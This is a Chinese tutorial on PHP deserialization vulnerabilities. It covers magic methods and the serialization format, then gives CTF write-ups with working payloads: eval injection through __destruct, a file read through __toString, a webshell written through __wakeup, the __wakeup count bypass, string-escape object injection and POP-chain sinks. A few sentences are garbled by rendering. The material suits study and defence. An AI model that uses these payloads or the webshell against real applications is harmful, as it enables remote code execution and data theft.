# Unserialize
# 1.php
# 类与对象
类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class people{ //定义类属性(类似变量),public 代表可见性(公有) public $name = 'joker'; //定义类方法(类似函数) public function smile(){ echo $this->name." is smile...\n"; } } $psycho = new people(); //根据people类实例化对象 $psycho->smile(); ?>
# 魔法方法
为什么被称为魔法方法呢?因为是在触发了某个事件之前或之后,魔法函数会自动调用执行,而其他的普通函数必须手动调用才可以执行。PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以双下划线为前缀。
方法名
作用
__construct
构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct
析构函数,和构造函数相反,在对象不再被使用时 (将所有该对象的引用设为 null) 或者程序退出时自动调用
__toString
当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如 echo 打印出对象就会调用此方法
__wakeup()
使用 unserialize 时触发,反序列化恢复对象之前调用该方法
__sleep()
使用 serialize 时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组 (该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()
对象被销毁时触发
__call()
在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()
在静态上下文中调用不可访问的方法时触发
__get()
读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set()
在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset()
当对不可访问属性调用 isset () 或 empty () 时触发
__unset()
当对不可访问属性调用 unset () 时触发
__invoke()
当脚本尝试将对象调用为函数时触发
额外提一下__tostring 的具体触发场景:
(1) echo(o b j ) / p r i n t ( obj) / print( o b j ) / p r i n t ( obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP 进行 比较的时候会转换参数类型)
(5) 反序列化对象参与格式化 SQL 语句,绑定参数时
(6) 反序列化对象在经过 php 字符串函数,如 strlen ()、addslashes () 时
(7) 在 in_array () 方法中,第一个参数是反序列化对象,第二个参数的数组中有 toString 返回的字符串的时候 toString 会被调用
(8) 反序列化的对象作为 class_exists () 的参数的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class animal { private $name = 'caixukun'; public function sleep(){ echo "<hr>"; echo $this->name . " is sleeping...\n"; } public function __wakeup(){ echo "<hr>"; echo "调用了__wakeup()方法\n"; } public function __construct(){ echo "<hr>"; echo "调用了__construct()方法\n"; } public function __destruct(){ echo "<hr>"; echo "调用了__destruct()方法\n"; } public function __toString(){ echo "<hr>"; echo "调用了__toString()方法\n"; } public function __set($key, $value){ echo "<hr>"; echo "调用了__set()方法\n"; } public function __get($key) { echo "<hr>"; echo "调用了__get()方法\n"; } } $ji = new animal(); $ji->name = 1; echo $ji->name; $ji->sleep(); $ser_ji = serialize($ji); //print_r($ser_ji); print_r(unserialize($ser_ji)) ?>
1 2 3 4 5 6 7 8 //最后调用的结果是: 调用了__construct()方法 调用了__set()方法 调用了__get()方法 caixukun is sleeping... 调用了__wakeup()方法 animal Object ( [name:animal:private] => caixukun ) 调用了__destruct()方法 调用了__destruct()方法
# 序列化与反序列化
在开发的过程中常常遇到需要把对象或者数组进行序列号存储,反序列化输出的情况。特别是当需要把数组存储到 mysql 数据库中时,我们时常需要将数组进行序列号操作。
php 序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php 反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
常见的 php 系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
# 序列化
需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化 。
使用 public 修饰进行序列化后,变量 $team 的长度为 4,正常输出。
使用 private 修饰进行序列化后,会在变量 $team_name 前面加上类的名称,在这里是 object,并且长度会比正常大小多 2 个字节,也就是 9+6+2=17。
使用 protected 修饰进行序列化后,会在变量 $team_group 前面加上 *,并且长度会比正常大小多 3 个字节,也就是 10+3=13。
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
受 Private 修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
受 Protected 修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,"\x00" 代表 ASCII 为 0 的值,即空字节,"*" 必不可少。
验证一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class object{ public $team = 'joker'; private $team_name = 'hahaha'; protected $team_group = 'biubiu'; function hahaha(){ $this->$team_members = '奥力给'; } } $object = new object(); echo serialize($object); ?> O:6:"object":3:{s:4:"team";s:5:"joker";s:17:"objectteam_name";s:6:"hahaha";s:13:"*team_group";s:6:"biubiu";} 如果我们使用urlencode输出时 O%3A6%3A%22object%22%3A3%3A%7Bs%3A4%3A%22team%22%3Bs%3A5%3A%22joker%22%3Bs%3A17%3A%22%00object%00team_name%22%3Bs%3A6%3A%22hahaha%22%3Bs%3A13%3A%22%00%2A%00team_group%22%3Bs%3A6%3A%22biubiu%22%3B%7D 就能很明显的看到%00和*了 以上是序列化之后的结果,o代表是一个对象,6是对象object的长度,3的意思是有三个类属性,后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。 值得一提的是,类方法并不会参与到实例化里面。
序列化格式中的字母含义:
1 2 3 4 5 6 a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
# 反序列化
反序列化的话,就依次根据规则进行反向复原。
这边定义一个字符串,然后使用反序列化函数 unserialize 进行反序列化处理,最后使用 var_dump 进行输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}'; $ser = unserialize($ser); echo '<pre>'; var_dump($ser); ?> object(__PHP_Incomplete_Class)#1 (3) { ["__PHP_Incomplete_Class_Name"]=> string(6) "object" ["a"]=> int(1) ["team"]=> string(6) "hahaha" }
# 利用:
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据 , 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
1. 代码中有可利用的类,并且类中有__wakeup (),__sleep (),__destruct () 这类特殊条件下可以自己调用的魔术方法。
2. unserialize () 函数的参数可控。
# 0x00 __destruct () 利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class A{ var $test = "demo"; function __destruct(){ @eval($this->test); } } $test = $_POST['test']; $len = strlen($test)+1; $p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象 $test_unser = unserialize($p); // 反序列化同时触发_destruct函数 ?> //利用同名变量覆盖和还原对象 可以理解为$test = $_POST['test'],复原时还需要有对应的变量值的length //由于destruct会在对象销毁时自动调用,我们只需要传入对应的恶意外码即可,题目已经帮我们构造好了序列化后的代码 payload: post: test=phpinfo();
如上代码,最终的目的是通过调用__destruct () 这个析构函数,将恶意的 payload 注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到 unserialize () 反序列化的时候,会触发__destruct () 方法,同时也可以触发__wakeup () 方法。但是如果想注入恶意 payload,还需要对t e s t 的值进行覆盖,题目中已经给出了序列化链,很明显是对类 A 的 test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的 t e s t 的 值 进 行 覆 盖 , 题 目 中 已 经 给 出 了 序 列 化 链 , 很 明 显 是 对 类 A 的 test 变量进行覆盖。
# 0x01 __tostring () 利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 //index.php <?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")) { echo "hello friend!<br>"; if(preg_match("/flag/",$file)) { echo "不能现在就给你flag哦"; exit(); } else { include($file); $password = unserialize($password); echo $password; } } else { echo "you are not the number of bugku ! "; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 //hint.php <?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?> payload: ?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
hint.php 文件中使用了魔术方法__tostring () 方法,当一个对象被当作一个字符串被调用时即可触发,方法的主要作用是读取并打印传进来的 $file,估计是通过反序列化漏洞来读取 flag.php 的内容。追踪以下调用链,在 index.php 文件中发现使用 echo 将反序列化的对象当作字符串打印,此处就会触发__tostring () 方法,并且 unserialize () 内的变量可控,满足反序列化漏洞条件。
# 0x02 __wakeup () 利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class test{ var $test = '123'; function __wakeup(){ $fp = fopen("flag.php","w"); fwrite($fp,$this->test); fclose($fp); } } $a = $_GET['id']; print_r($a); echo "</br>"; $a_unser = unserialize($a); require "flag.php"; ?> pyload: ?id=O:4:"test":1:{s:4:"test";s:27:"<?php eval($_GET['sb']); ?>";}
1 2 3 4 5 6 7 8 payload: <?php class test{ var $test = "<?php eval($_GET['sb']); ?>"; } $test = new test(); echo serialize($test); ?>
通过调用魔术方法__wakeup 将 $test 的值写入 flag.php 文件中,当调用 unserialize () 反序列化操作时会触发__wakeup 魔术方法,接下来就需要构造传进去的 payload
在执行 unserialize () 方法时会触发__wakeup () 方法执行,将传入的字符串反序列化后,会替换掉 test 类里面 $test 变量的值,将 php 探针写入 flag.php 文件中,并通过下面的 require 引用,导致命令执行。
# 0x03 __wakeup () 绕过
极客大挑战 2019 PHP
1 2 3 4 5 6 <?php include 'class.php' ; $select = $_GET ['select' ]; $res =unserialize (@$select ); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php include 'flag.php' ;error_reporting (0 );class Name { private $username = 'nonono' ; private $password = 'yesyes' ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function __wakeup ( ) { $this ->username = 'guest' ; } function __destruct ( ) { if ($this ->password != 100 ) { echo "</br>NO!!!hacker!!!</br>" ; echo "You name is: " ; echo $this ->username;echo "</br>" ; echo "You password is: " ; echo $this ->password;echo "</br>" ; die (); } if ($this ->username === 'admin' ) { global $flag ; echo $flag ; }else { echo "</br>hello my friend~~</br>sorry i can't give you the flag!" ; die (); } } } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 payload: <?php class Name { private $username ; private $password ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } } $a = new Name ('admin' ,100 );echo serialize ($a );echo urlencode (serialize ($a ));?> O:4 :"Name" :3 :{s:14 :"Nameusername" ;s:5 :"admin" ;s:14 :"Namepassword" ;i:100 ;} O%3 A4%3 A%22 Name%22 %3 A2%3 A%7 Bs%3 A14%3 A%22 %00 Name%00 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A14%3 A%22 %00 Name%00 password%22 %3 Bi%3 A100%3 B%7 D <?php class Name { private $username ='admin' ; private $password =100 ; } $a = new Name ();echo serialize ($a );echo urlencode (serialize ($a ));?> O:4 :"Name" :3 :{s:14 :"Nameusername" ;s:5 :"admin" ;s:14 :"Namepassword" ;i:100 ;} O%3 A4%3 A%22 Name%22 %3 A2%3 A%7 Bs%3 A14%3 A%22 %00 Name%00 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A14%3 A%22 %00 Name%00 password%22 %3 Bi%3 A100%3 B%7 D
当成员属性数目大于实际数目时可绕过 wakeup 方法 ,其次 private 的 %00 是老生常谈了。多说一句,这是一个 CVE 漏洞
# 0x04 对象逃逸
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生 PHP 反序列化字符逃逸的漏洞。
对于 PHP 反序列字符逃逸,我们分为以下两种情况进行讨论。
# 过滤后字符变多
设我们先定义一个 user 类,然后里面一共有 3 个成员变量:username 、password 、isVIP 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } $a = new user ("admin" ,"123456" );$a_seri = serialize ($a );echo $a_seri ;?>
这个时候我们增加一个函数,用于对 admin 字符进行替换,将 admin 替换为 hacker ,替换函数如下:
1 2 3 function filter($s){ return str_replace("admin","hacker",$s); }
这一段程序的输出为:
1 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
那么我们的 admin 就会被替换为 hacker
1 2 O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
仔细看,虽然 admin 变为了 hacker,但长度并没有从 5 变成 6,因此我们可以使用对象逃逸将 isVIP 变为 1
在字符变多的对象逃逸中,我们需要构造我们需要的 payload:
1 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //length=47
因为我们需要逃逸的字符串长度为 47 ,并且 admin 每次过滤之后都会变成 hacker ,也就是说每出现一次 admin ,就会多 1 个字符。
因此我们需要重复 47 遍 admin,这样他过滤 47 遍,我们的目标 payload 就可以完全覆盖了
因此我们在可控变量处,重复 47 遍 admin ,然后加上我们逃逸后的目标子串,可控变量修改如下:
1 adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
然后我们利用代码做拼接形成完整的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace ("admin" ,"hacker" ,$s ); } $a = new user ('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}' ,'123456' );$a_seri = serialize ($a );$a_seri_filter = filter ($a_seri );echo $a_seri_filter ;?>
由于反序列化后,多余的子串会被抛弃 , ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 我们可以直接无视
尝试反序列化验证我们的 isVIP 是否变为了 1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php $a_seri_filter = 'O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}' ;$a_seri_filter_unseri = unserialize ($a_seri_filter );echo "<pre>" ;var_dump ($a_seri_filter_unseri );?> object (user) ["username" ]=> string (282 ) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" ["password" ]=> string (6 ) "123456" ["isVIP" ]=> int (1 ) }
那么,灵魂拷问,上面的 username 和 password 都是可控参数,那么我能能不能控制 password 字段?
在这个例子中是不可以的,因为我们不能对用户的密码做替换,但是如果这个字段不是 password,是 nickname 这样的会被过滤的,那么我们的 payload 也可以写在 nickname 中
最后,我们总结一下,想要通过过滤后字符串变多来实现对象逃逸,我们需要哪些步骤
1. 分析他过滤了那个参数,那个参数是我们可控的
上述例子中 username,password 是可控的,但只对 username 进行了过滤,因此我们的对象逃逸就会出现在 username 中
2. 构造我们的 payload,即我们想要覆盖哪个变量
上述例子中,我们想要将 isVIP 变为 1,因此我们构造的 payload 为: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} ,并且需要计算长度,为了我们之后的覆盖做准备
3. 分析它的过滤函数,得到每次过滤我们可以逃逸出的字符数量,与我们的 (2) 中 payload 相比,凑够(2)中字符的数量
上述例子中,我们从 admin 变为 hacker,每次过滤字符多一个,因此我们要逃逸 47 个字符,我们就需要重复 47 遍 admin
4. 将我们构造的 payload 放到程序中,得到完整的 payload:
上述例子中,我们构造的 payload 是:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
通过程序:
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
生成我们最终的 payload:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
5.unserialize 进行验证
# 过滤后字符变少
同样的过滤,这次将 admin 变为 hack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace ("admin" ,"hack" ,$s ); } $a = new user ('admin' ,'123456' );$a_seri = serialize ($a );$a_seri_filter = filter ($a_seri );echo $a_seri_filter ;?> result: O:4 :"user" :3 :{s:8 :"username" ;s:5 :"hack" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:0 ;}
同样,我们想把 isVIP 变为 1,比较一下现有子串 和目标子串 :
1 2 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候,将 5 个字符删减为了 4 个,所以和上面字符变多的情况相反,随着加入的 admin 的数量增多,现有子串 后面会缩进来。
计算一下目标子串 的长度:
1 2 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 //长度为47
再计算一下到下一个可控变量 的字符串长度:
1 2 ";s:8:"password";s:6:" //长度为22
因为每次过滤的时候都会少 1 个字符,因此我们先将 admin 字符重复 22 遍,这里 22 遍是大概值,后续还需要调整
1 2 3 4 5 6 7 8 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
** 注意:**PHP 反序列化的机制是,比如如果前面是规定了有 10 个字符,但是只读到了 9 个就到了双引号,这个时候 PHP 会把双引号当做第 10 个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
105 个字符结束后,位置如下
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是我们覆盖了 ;s:8:"password";s:6: ,接下来我们的 username 的值变会覆盖后续的字符串
1 2 3 4 5 6 7 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以我们希望覆盖的 107 个字符,但是前面只有显示 105
1 hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
解决办法是 :多添加 2 个 admin ,这样就可以补上缺少的字符。
1 2 3 4 5 6 7 $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
115 个字符的覆盖范围 hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hack",$s); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); $a_seri_filter_unseri = unserialize($a_seri_filter); var_dump($a_seri_filter_unseri); ?>
得到结果:
1 2 3 4 5 6 7 8 object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1) }
总结一下变短的步骤:
1. 分析他过滤了那个参数,那个参数是我们可控的
上述例子中 username,password 是可控的,但只对 username 进行了过滤,因此我们的对象逃逸就会出现在 username 中
2. 构造我们的 payload,即我们想要覆盖哪个变量
上述例子中,我们想要将 isVIP 变为 1,因此我们构造的 payload 为: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} ,并且需要计算长度,为了我们之后的覆盖做准备
3. 分析它的过滤函数,计算到下一个可控变量的长度,将它和(2)中的长度分析
上述例子中,我们的目标长度 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 为 47,到下一个可控变量长度 ";s:8:"password";s:6:" 为 22
那么为什么要分析到下一个可控变量的长度呢,因为这中间的 22 个字符就是我们想要吃掉的字符,也就是 username 把原来的 password 吃掉了,现在的 password 我们自己可以写了,我们在自己写的 password 中就可以覆盖掉 isVIP
4. 进行覆盖与调整
上述例子中,我们第一次写了 22 个 admin,但后续序列化后发现长度不够,增加至 24 个 admin。调整是为了让每个变量的 " 的位置和前面的字符串数量的位置相同
5. 进行反序列化验证
1 2 3 4 5 6 7 8 9 10 //变长 O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //变少 O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;} 变长是通过将s:后的长度变长,导致可以将不是自己的序列化的东西也收进来 变少是通过将自己本来序列化后不是一个对象的值缩到一个对象中,那么其他缩的对象值就空了,我们就可以覆盖了 https://www.secpulse.com/archives/165222.html
比如:[安洵杯 2019] easy_serialize_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET ['f' ];function filter ($img ) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode ('|' ,$filter_arr ).'/i' ; return preg_replace ($filter ,'' ,$img ); } if ($_SESSION ){ unset ($_SESSION ); } $_SESSION ["user" ] = 'guest' ;$_SESSION ['function' ] = $function ;extract ($_POST );if (!$function ){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET ['img_path' ]){ $_SESSION ['img' ] = base64_encode ('guest_img.png' ); }else { $_SESSION ['img' ] = sha1 (base64_encode ($_GET ['img_path' ])); } $serialize_info = filter (serialize ($_SESSION ));if ($function == 'highlight_file' ){ highlight_file ('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize ($serialize_info ); echo file_get_contents (base64_decode ($userinfo ['img' ])); }
由于有了上面的基础,这边就简单缩缩了
首先能造成对象逃逸的关键是 $serialize_info = filter(serialize($_SESSION)); ,将 filter 里面的东西替换为空,导致字符变动,但序列化后的长度值没有变动
exxtract () 函数从数组中将变量导入到当前的符号表 (本题的作用是将_SESSION 的两个函数变为 post 传参)
同时题目告诉我们的 phpinfo 中 d0g3_fllllllag 可以判断 flag 位置
我们可以通过改变 img_path 的内容或者直接改变 userinfo [‘img’] 的内容来达到读取 flag 的目的
0x00 键值逃逸
1 2 3 4 5 6 7 payload: _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";} flag和php是敏感字符,在使用的时候被过滤掉了,但序列化记录的字符串长度没有过滤掉,所以在序列化的时候 s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"2";}被当作了原来的value 在 echo file_get_contents(base64_decode($userinfo['img']));实现了读取flag的,目的
0x01 键名逃逸
1 2 3 4 5 6 7 8 _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤前 a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 过滤后 a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} 下面的步骤和值替换一样 这里的键名变为";s:48: 实现了逃逸
# 0x05POP 链利用
上面的例子都是基于 "自动调用" 的 magic function。** 但当漏洞 / 危险代码存在类的普通方法中,就不能指望通过 "自动调用" 来达到目的了。** 这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的 payload。
1. 一些有用的 POP 链中出现的方法:
1 2 3 - 命令执行:exec()、passthru()、popen()、system() - 文件操作:file_put_contents()、file_get_contents()、unlink() - 代码执行:eval()、assert()、call_user_func() //call_user_func(assert,phpinfo());
2. 反序列化中为了避免信息丢失,使用大写 S 支持字符串的编码。
PHP 为了更加方便进行反序列化 Payload 的 传输与显示 (避免丢失某些控制字符等信息),我们可以在序列化内容中用大写 S 表示字符串,此时这个字符串就支持将后面的字符串用 16 进制表示,使用如下形式即可绕过,即:
1 s:4:"user"; -> S:4:"use\72";
3. 深浅 copy
在 php 中如果我们使用 & 对变量 A 的值指向变量 B,这个时候是属于浅拷贝,当变量 B 改变时,变量 A 也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
4. 利用 PHP 伪协议
配合 PHP 伪协议实现文件包含、命令执行等漏洞。如 glob:// 伪协议查找匹配的文件路径模式。
# 0x06
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class main { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "hello bmjoker"; } } class evil { private $data; function action() { eval($this->data); } } //$a = new main(); unserialize($_GET['a']); ?>
